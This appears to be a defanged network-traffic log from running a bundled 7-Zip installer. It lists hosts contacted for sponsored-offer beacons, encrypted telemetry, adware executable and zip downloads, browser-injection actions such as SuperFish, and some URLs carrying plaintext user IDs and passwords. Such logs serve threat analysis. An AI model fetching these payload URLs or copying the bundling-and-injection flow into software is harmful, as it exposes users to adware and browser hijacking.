hxxp://d2sfi55f1s20qk.cloudfront.net/12895.ashx?e=N6dOqWm8Q95zRTWqMhK925/TkbZ2czqARFu5WRLw5eqMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNorAIjj0a1PU1AA8SD0cBj/uL3JpkNVc2cphfdOL Ldg5ZyZDarH49IiAjgjPt/PhmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUuPqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1	54.230.202.168
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.3&utms=3&utmn=1466549979&utmhn=bi.bisrv.com&utme=8(sp_slug)9(youtubeaccelerator)&utmhid=943678377&utmr=-&utmp=Install_Complete&utmht=1424736152336&utmac=UA-31676879-1&utmcc=__utma=1.2079935846.1424736079.1424736079.1424736079.1;+__utmz=1.1424736079.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://rep.shopper-pro.com/app/ping.ashx?e=s0jsdppK9Ov4YOj/qSs/oModyAjE05f9TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLhhP9XtYEB8KiVYntFJILYSQ/0x0rOdP8W6QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0IpyZUAtCd0jx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMc9YAe urn8x8kpng0IpIJ	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Feo0TQZfu6Kxt3d/voAIfOLyPyzo0umul505lEjGRHKRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpZAwTHJGHWlAW3c/Ne6ORik1/8E9Ve0OlwOfiWy9NaE3BTG7HloA5mtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoHOFpZLERjDKYAQkWl KJecj1mEjbWMPAZZWmyv2w9Pl0Az0m 1PmkpZFEYmJBlESaAZSpRiXLg4A==	54.197.238.106
hxxp://d1hg3hnogsqyks.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.203.8
hxxp://d1hg3hnogsqyks.cloudfront.net/affiliates/filesfrog/eula.html	54.230.203.8
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.3&utms=1&utmn=235482190&utmhn=installer.filebulldog.com&utmhid=1985456636&utmr=-&utmp=Installer_Init&utmht=1424736154915&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=690597220&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d1vw44q53d84jx.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html	54.230.200.130
hxxp://rep.shopper-pro.com/app/ping.ashx?e=QHucCbLl /arv6GrtwjWz 6XO 6uR0y1HsPX2pj8kjz7RH4w/5EvdUqAWhGQi7pGk2HxL2Lh3QcOAfDk6wxi8sc5Qjju6WUHhjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAG27ZJ5jSGyw4HlsMFv6DPGKDUvWJs0s75mmCV7hIWA97G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lyiuy5/oVLbn /EIcMoNBcHzbANYrsS2gc4WlksRGMMpgBCRaX4ol5yPWYSNtYw8BllabK/bD0 X/RyOmuLrtWH3AqTFiqNP5w==	54.197.238.106
hxxp://d2sfi55f1s20qk.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.230.202.168
hxxp://s3-1-w.amazonaws.com/partner/gim394750002/release/live/InstallGenieo.exe
hxxp://rep.shopper-pro.com/app/ping.ashx?e=QgW8pN5r26avTpvRFjYpwrnjMnh 4VIhoo6Du22yq2oyIvs8NVvu9kXFDxkTgufFWTYC2lEyeiRDEmmTwM3HfmppKfyKdx0 YLeCUjG1M6fU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX3zVcyy3MRY3QYyRbCXvjzG4dFQ/NTua81jyiM/3By1Kajeua45kQ/7H/jy8G4FGJY4SiD403Los	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=qTTPt6qukDH4YOj/qSs/oKjwS4Ev5Aa/fhalIKY8mkHF v7PQ4kXwDEsdSRpTTrrVTOts69f7XE2BNpnG2tVVRHuhwLE3j02YCpHZc9ZUaGCtNyV221ZgGNGUQeeEC1PbNA6ThUAQyrQKPlPto4slFqp2iqeGATE5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet/LdC ehtwbsZAtX799FH7yyT3M6a2fcjGUHHnm5FyJgnYLhlxvbriVN4cHXyV2IG/1JlPKcaeEmRI5LmyoF5AlcrEiEDP1jKqqdT9GIMWRuvUmU8pxp4SZgE9L8wai8UDg/yVe4Z/h4obfQeCZJmDfQ3SGYOTb0QsR0xabMkbgoFk2AtpRMnokIR1sKxPFdTcPMPH2NBVjMkGMkWwl748xuHRUPzU7mvNY8ojP9wctShNKc/l2U9fgN IpjWb5QWR1FmWeqRzIZtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoHOFpZLERjDKYAQkWl KJecj1mEjbWMPAZZWmyv2w9Pl0Az0m 1PmkpVi33qPwefc AZSpRiXLg4A==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=qTTPt6qukDH4YOj/qSs/oKjwS4Ev5Aa/fhalIKY8mkHF v7PQ4kXwDEsdSRpTTrrVTOts69f7XE2BNpnG2tVVRHuhwLE3j02YCpHZc9ZUaGeIBkLE7/4yPY1HJKKgNFGbnp1XaZJ5KkSNugKwyxpdGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF638Q2bUIan6JCQp/ql BaU3X36Kc9MtkO2A==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XOxRKBm2zlxPNjxRBLtb45w0P6lVvKYPt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqD5OatmcvVLieXHN8cCnmNxJCi6Kflc7uWLazpewXw1jbYKYy91 zfZ5dcTig2boV6xool1mM9zb4KwdVWYfAjLGJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gc4WlksRGMMpgBCRaX4ol5yPWYSNtYw8BllabK/bD0 XQDPSb7U aSko3Gv nP8wmYBlKlGJcuDg	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/k6kR j50tpPNjxRBLtb45w0P6lVvKYPt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqD5OatmcvVLieXHN8cCnmNxJCi6Kflc7uWLazpewXw1gnbzUS3m/7WLONeuBglAqxaHHlbCgpQ5v1r/ZKpWQiXoklGVmqeZFU8n8JlmuEfM7iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBffNVzLLcxFjdBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpqN65rjmRD/rVGG/Xal99ijhKIPjTcuiw=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/k6kR j50tpPNjxRBLtb45w0P6lVvKYPt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqD5OatmcvVLieXHN8cCnmNxJCi6Kflc7uWLazpewXw1gnbzUS3m/7WLONeuBglAqxaHHlbCgpQ5tCJ2GnHtzkHXfMyWTmYmuAfzApjLfBz7r7ZtsfxNpcZsbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I PqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1JkwA4PeZyroPEn7DqvLFbw==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=bNFVvuIwcz6f05G2dnM6gNg4XIU0EHZNqLyqyeqrbnpSxKnyZZfBI2bktPzt6Fdq2Mmy0imF8H5kTJzJ6ARN /VXnfpRoYFmqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj4 rN8lepfONd12UpBdUn7wL2QaodClWR0Uyn64LWcrRdOO7UF2g6rUmTADg95nKug8SfsOq8sVv	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=yhrBLBbZM9XpxK87b oDM5/TkbZ2czqA2DhchTQQdk2ovKrJ6qtuelLEqfJll8EjZuS0/O3oV2rYybLSKYXwfmRMnMnoBE379Ved lGhgWaAkcN/ 7vGRLvfUXjXVQdWHpGgnXRNTSyM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXw8DDkunVjjbzAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO9P9wsn1RiJIwB5esNx9efU=	54.197.238.106
hxxp://212.143.22.214/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://rep.shopper-pro.com/app/ping.ashx?e=NdvkYMTo1Kv4YOj/qSs/oJak5gO0FUDqsTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dt5mDgmLsXV3a7ZC ZeIWVzh5TX6K4Kv02isFLJEBgOHLzAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO1xRaqY4metE7Lbu9v9TOeaO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJK15ZdpF4Jm7BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwxtn8l6bzztEt5NPC8YV 0WEwhL8yu84geU1 iuCr9NorBSyRAYDhy8wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDtqnkbjwhVra3cI0lk4eyzP	54.197.238.106
hxxp://212.143.22.214/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424736160&SBPIDS=1&KA=1
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424736160&SBPIDS=1&KA=1	212.143.22.213
hxxp://online.speedbit.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.213
hxxp://online.speedbit.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bbf5d60-0613-4bcc-93c8-28817ab1fcc2&Password=bbRSxORx&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424736162&SBPIDS=1&KA=1	212.143.22.213
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bbf5d60-0613-4bcc-93c8-28817ab1fcc2&Password=bbRSxORx&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424736162&SBPIDS=1&KA=1	212.143.22.213
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424736162&SBPIDS=0	212.143.22.213
hxxp://rep.shopper-pro.com/app/ping.ashx?e=rdr4ABua5zf4YOj/qSs/oDNf4tZyU5xviUSU3wY9EyZgKkdlz1lRoe viA2bCzBJ8S85LP28b9XoIGt9tn96dHw rBcui5QxHlNforgq/TaKwUskQGA4cvMCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7XFFqpjiZ60QXz7IwMGK89ATjem6YnzT/dGTkd6gyszRJIjNV6lR7KTeZP8VdKLt4wwdTpWPyf9YL2yY9rxcvBS7yF1X8DhBQkP05wl0iTi0jLobyCDEbrE8NqMDBJ5NxjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXjyT/ 96F yQI7D3/z4mwXKlGgYBPx2lRdwCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OCftId6Zcv3VsqwZwxAX4ff	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hXeqmv1IpemgBgKVQb1/X7njMnh 4VIhFaSqTE96QyGz6uevfqaymmuKg2XFbqUQvoXpSr3iMCtzVRIw0b4PP/CV4d3G7GmUPBFa8TQ 5Z19hZ5O6CQgZn5dMiu8MPG0PeFeqdm9Ij6AEJFpfiiXnI9ZhI21jDwGWVpsr9sPT5ccpWfyzMekSM8JTwZBXEaArZ2BLw79NpCFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aAQoVNoD34vz2VZFceaRoNmrNmFLslsB7o9tHOTKYSkY72A4eum4h2PWYbK4Kjl7kNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5/FbCMRz6yfZyn0gsuckjyjmXqQawsZSOUA7dl9owwhJJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8Bm6k8D8vgTIkrGdcJcNjDwI=	54.197.238.106
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424736167&SBPIDS=0	212.143.22.213
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=864744&mode=nolsp	107.20.238.80
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=866788&mode=nolsp	107.20.238.80
hxxp://rep.shopper-pro.com/app/ping.ashx?e=xY8ohDYpM h6gEVzoYeGJ5/TkbZ2czqAmDz3Um00FGjc 6Z9uWa7kH0QpZ Jj0 v3D2calArHLvSr4mOXafqVOowNKLwk dee2YPwOTHZ23ajkClo2qeSw0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo 3nuYt DhqAmsppGiwDSwS/vPsyNPKM2I7cNc4nWLoq37xzRSVA0HdwFMjymFb0gkZj2cSnzmAk8cPFMpLyP dsuM51q1orrP/bWfh6OWL1uHRUnrF1Wi2cK8TG /x4eATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cMbZ/Jem887RLeTTwvGFftFhMIS/MrvOIHlNforgq/TaKwUskQGA4cvMCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7ap5G48IVa2vuvAoz92eEdw==	54.197.238.106
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=1&index_in_screen=1&index_in_session=1&display_height=50&0.6546291316674241
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=1&index_in_screen=1&index_in_session=1&0.963330837142687
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.14264361427969802
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1424736215&SBPIDS=0	212.143.22.213
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=2&index_in_screen=1&index_in_session=2&0.2659508971676753
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=3&index_in_screen=1&index_in_session=3&display_height=90&0.5017355730589932
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=3&index_in_screen=1&index_in_session=3&0.03869277782323843
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=4&index_in_screen=1&index_in_session=4&display_height=75&0.38841614464711355
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=4&index_in_screen=1&index_in_session=4&0.9615760237737956
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=1&index_in_screen=1&index_in_session=1&0.9388066883255415
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.3&utms=2&utmn=1085911575&utmhn=installer.filebulldog.com&utmhid=1985456636&utmr=-&utmp=Offer_Accepted&utmht=1424736257879&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en	65.255.35.144
hxxp://www.inisxriy.com/infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f	50.23.120.57
hxxp://www.inisxriy.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip	50.23.120.57
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.hp	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.ds	65.255.35.144
hxxp://log.very911.com/install.gif?bundle=mystartsearch&ptid=smt&uid=267123711_198339_B48A115F	184.173.191.224
hxxp://download.dynect.mozilla.net/?product=firefox-34.0.5-complete&os=win&lang=en-US
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfmRMnMnoBE379Ved lGhgWaM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXw8DDkunVjjbzAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO5m3PizUg/oK&product=EXTFirefox&rnd=1424736267&it=1&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1	54.197.238.106
hxxp://www.google.com/	173.194.113.211
hxxp://www.google.com.ua/?gfe_rd=cr&ei=97_rVMiuMoKu8wehyYGQCw	173.194.113.223
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.regok	65.255.35.144
hxxp://gp1.wpc.v2cdn.net/801237/download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.0.9	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=1&action=Inject&text=SuperFish	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=1&action=Inject&text=JollyWallet	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=1&action=Inject&text=GoobzoInfo	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=1&action=Inject&text=GeneralInjector	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=1&action=Inject&text=PriceGong_DealPly	54.197.238.106
hxxp://online.speedbit.com/online/Report.aspx	212.143.22.213
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.finish	65.255.35.144
hxxp://www.inipegcc.com/infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d	50.23.120.56
hxxp://www.inipegcc.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip	50.23.120.56
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.wpm	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.ient	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.RegWrite	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en	65.255.35.144
hxxp://www.inisxriy.com/files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe	50.23.120.57
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt	65.255.35.144
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.3&utms=3&utmn=809616912&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(mystartsearch)&utmhid=1985456636&utmr=-&utmp=Install_Complete&utmht=1424736281744&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/awde7zip23678/7zip/df2ee0eca619e745941b88b65e390118?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d3lspqs37tt24s.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg	54.230.200.34
hxxp://d3lspqs37tt24s.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.200.34
hxxp://d3lspqs37tt24s.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html	54.230.200.34
